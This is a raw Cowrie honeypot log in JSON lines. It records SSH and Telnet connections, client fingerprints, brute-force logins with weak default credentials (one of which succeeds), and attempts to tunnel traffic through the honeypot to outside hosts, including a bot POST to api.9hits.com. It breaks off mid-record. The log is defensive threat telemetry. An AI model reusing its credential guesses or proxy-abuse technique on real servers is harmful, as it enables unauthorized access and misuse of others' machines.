{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xa9\\xb4\\xb1Q5\\xedg\\xd2\\x1d\\x01!u\\xeeS\\xd0?V\\xb2\\xb70L\\x8a\\xb4\\xe5#0\\xe9\\x16 \\x14\\xd1 T\\x12>\\xa7\\x18\\xc8\\x9fGL\\t\\xdb\\xba\\xe7\\x046,\\xff\\x0c\\x10\\x07_5\\xbd\\\\\\xdf\\x9b(w\\xfd\\xb3\\xf2;\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 B\\xcc\\xb8\\x05\\xb8\\xea\\x9f\\xa1\\x96\\x0f\\xae\\x81\\xf4\\xfe\\xb8\\xd2\\xc2\\x0c>\\xf2\\xbc\\xbeZX\\xef\\xa5\\r\\xbd\\x13\\xf4\\xeaK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xa9\\xb4\\xb1Q5\\xedg\\xd2\\x1d\\x01!u\\xeeS\\xd0?V\\xb2\\xb70L\\x8a\\xb4\\xe5#0\\xe9\\x16 \\x14\\xd1 T\\x12>\\xa7\\x18\\xc8\\x9fGL\\t\\xdb\\xba\\xe7\\x046,\\xff\\x0c\\x10\\x07_5\\xbd\\\\\\xdf\\x9b(w\\xfd\\xb3\\xf2;\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 B\\xcc\\xb8\\x05\\xb8\\xea\\x9f\\xa1\\x96\\x0f\\xae\\x81\\xf4\\xfe\\xb8\\xd2\\xc2\\x0c>\\xf2\\xbc\\xbeZX\\xef\\xa5\\r\\xbd\\x13\\xf4\\xeaK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.262650Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4e34983a18","protocol":"ssh","message":"New connection: 91.92.40.36:11584 (159.203.135.109:22) [session: 0a4e34983a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:33.071603Z"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"654321","message":"login attempt [dspace/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:34.874557Z","src_ip":"91.92.40.36","session":"fae2ec8fd965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.83622622489929,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:34.954681Z","src_ip":"128.199.8.54","session":"d5dc924ad353","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:35.157624Z","src_ip":"91.92.40.36","session":"0a4e34983a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:35.161021Z","src_ip":"91.92.40.36","session":"0a4e34983a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52234,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92b3b59babf","protocol":"telnet","message":"New connection: 172.81.62.90:52234 (159.203.135.109:23) [session: c92b3b59babf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:35.780825Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62483,"dst_ip":"10.17.0.5","dst_port":22,"session":"5046cd598881","protocol":"ssh","message":"New connection: 123.27.168.40:62483 (10.17.0.5:22) [session: 5046cd598881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:37.497795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:37.502242Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:37.745522Z","src_ip":"91.92.40.36","session":"fae2ec8fd965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:37.753720Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:38.823517Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.007416Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58417,"dst_ip":"10.17.0.5","dst_port":22,"session":"301589f7d7a3","protocol":"ssh","message":"New connection: 123.27.168.40:58417 (10.17.0.5:22) [session: 301589f7d7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.035779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.040703Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.206169Z","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.289737Z","src_ip":"123.27.168.40","session":"301589f7d7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.342005Z","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.453041Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; JKM-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UzBCUD4jTCQwcHcrY2ZpUw%3D%3DATCIjULPjLCb%2BNjrcNG2H6n85Th7%2FoEfmq9I9W%2F2%2BJ%2FoeVZFBxCAoj2LGPeBitarem3fn0Yks%2FnfHlmGo513M1nnTay%2F0Fg4ME%2BawUDH%2BlA6Tze56uDvcdKJXsP98%2FHfxceqL6Md6DnxmgDbgOOSQfpOj%2BBuA8Oz2drzcXed%2FflVeMpG%2Bqfnng9xxKPMJntXKX9qc%2BRR9pf6%2BnjJir5%2Fp3xCYihKKAGCas0BjbcmNO9FTEs139PwuUkoVj%2BwBSYUy9g%2BLl7F9n0vpbYxrlVvhVLgWXJQA1VVlj2HI2GbvI%2BnJohRDC%2BmVPhQOQCFyewhCezjb%2F2mxXV1RphfBlzCY7XclpB%2BoYE%2BCf8Ybolg1bmqfBV6mX5wXDRlOlQi4M38jGmA6KDAfyy9kMGHgYQwbjApsKK9F5WIYrY3abexbGw1cOksyIBqG2PAueQjPKXAz0EG1hRjc7FgRscYHD6oYL4FLsx04ycXa1wQYmFY5%2BX2Yy4sqFdY6HSC5ymRtLcjAxi0F33ocQmAXZ0PYX%2BY83o0tHYHeimNcOHQa%2B3AqtZpbKIXgz3BIKalqBU9DURA6uXXx%2FdFC6zGjnBUK8zpuZ4aVnAHdSyz1hRuNo9WpfIFWGJXyTAJV7Tc1fQqAY%2FS4%2FrF1itjqrN5erVQZVx13%2BHNCm6zSkYb6ifJ5Dg4Age1Dc95ah6G6il8jtHv7mg7nofCRQelRfXDIZnIx4pkI%2FTbsDvrLOdJTfSv%2FNB7sq6O4eGFs28uu8KF%2BwK9lxzbzY5edoc56L0wbgNVUWpaodYcolMqnSYvD15WnEKa6KeAW4i2r4TZPQe3XwHznCwZ6n9xjtxFYM1rgaKD%2FCA87JvPiCpZpvjqmE8zAW2Z1AKovdcF46JnrAZX9K8z2UGPQeS1qCs9YXDkeknhgPU%2F7W3jlznMIfS6Je3zguT%2Fz8Ni27PqT5iDYtr1BEzbsOC8qfVdbzNOs26PU32wgSqwXwYBjiUmoYwTacYuO26TiG2B%2F06eOZhmHea9wzBhz72WddHvkZvEQkeQbAzulUsLyug9zuWdFPO4qfy9gE1m5%2FF209KpinRG%2F%2F111nEoZbG2'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; JKM-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UzBCUD4jTCQwcHcrY2ZpUw%3D%3DATCIjULPjLCb%2BNjrcNG2H6n85Th7%2FoEfmq9I9W%2F2%2BJ%2FoeVZFBxCAoj2LGPeBitarem3fn0Yks%2FnfHlmGo513M1nnTay%2F0Fg4ME%2BawUDH%2BlA6Tze56uDvcdKJXsP98%2FHfxceqL6Md6DnxmgDbgOOSQfpOj%2BBuA8Oz2drzcXed%2FflVeMpG%2Bqfnng9xxKPMJntXKX9qc%2BRR9pf6%2BnjJir5%2Fp3xCYihKKAGCas0BjbcmNO9FTEs139PwuUkoVj%2BwBSYUy9g%2BLl7F9n0vpbYxrlVvhVLgWXJQA1VVlj2HI2GbvI%2BnJohRDC%2BmVPhQOQCFyewhCezjb%2F2mxXV1RphfBlzCY7XclpB%2BoYE%2BCf8Ybolg1bmqfBV6mX5wXDRlOlQi4M38jGmA6KDAfyy9kMGHgYQwbjApsKK9F5WIYrY3abexbGw1cOksyIBqG2PAueQjPKXAz0EG1hRjc7FgRscYHD6oYL4FLsx04ycXa1wQYmFY5%2BX2Yy4sqFdY6HSC5ymRtLcjAxi0F33ocQmAXZ0PYX%2BY83o0tHYHeimNcOHQa%2B3AqtZpbKIXgz3BIKalqBU9DURA6uXXx%2FdFC6zGjnBUK8zpuZ4aVnAHdSyz1hRuNo9WpfIFWGJXyTAJV7Tc1fQqAY%2FS4%2FrF1itjqrN5erVQZVx13%2BHNCm6zSkYb6ifJ5Dg4Age1Dc95ah6G6il8jtHv7mg7nofCRQelRfXDIZnIx4pkI%2FTbsDvrLOdJTfSv%2FNB7sq6O4eGFs28uu8KF%2BwK9lxzbzY5edoc56L0wbgNVUWpaodYcolMqnSYvD15WnEKa6KeAW4i2r4TZPQe3XwHznCwZ6n9xjtxFYM1rgaKD%2FCA87JvPiCpZpvjqmE8zAW2Z1AKovdcF46JnrAZX9K8z2UGPQeS1qCs9YXDkeknhgPU%2F7W3jlznMIfS6Je3zguT%2Fz8Ni27PqT5iDYtr1BEzbsOC8qfVdbzNOs26PU32wgSqwXwYBjiUmoYwTacYuO26TiG2B%2F06eOZhmHea9wzBhz72WddHvkZvEQkeQbAzulUsLyug9zuWdFPO4qfy9gE1m5%2FF209KpinRG%2F%2F111nEoZbG2'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.455689Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:39.694808Z","src_ip":"123.27.168.40","session":"5046cd598881","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8#\\x00\\xba\\x9cM\"\\x85\\xac\\xfd}\\x17\\x99\\xa7\\xfad\\xf9r\\xe8_\\xb3\\xfe\\xc94\\xf8\\x92/\\xb8 \\xf8$t Y\\x0e\\x02U\\xeb\\x037\\xb2\\xf9\\xd7\\xe7\\x9a\\x14w\\x90\\xae\\x80\\xben\\x9ds%\\xe3t\\xdf\\t\\xa9\\xcd\\xa0\\x86d\\xfb\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 be\\x9b\\x0f\\xfd\\x11\\xf7 1\"\\x80\\xf3\\x9a\\xf6L\\xb2\\x0fV\\xe8\\xaaO \\x11\\x9f\\xe3\\xc7f\\xcaPm\\xc2_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\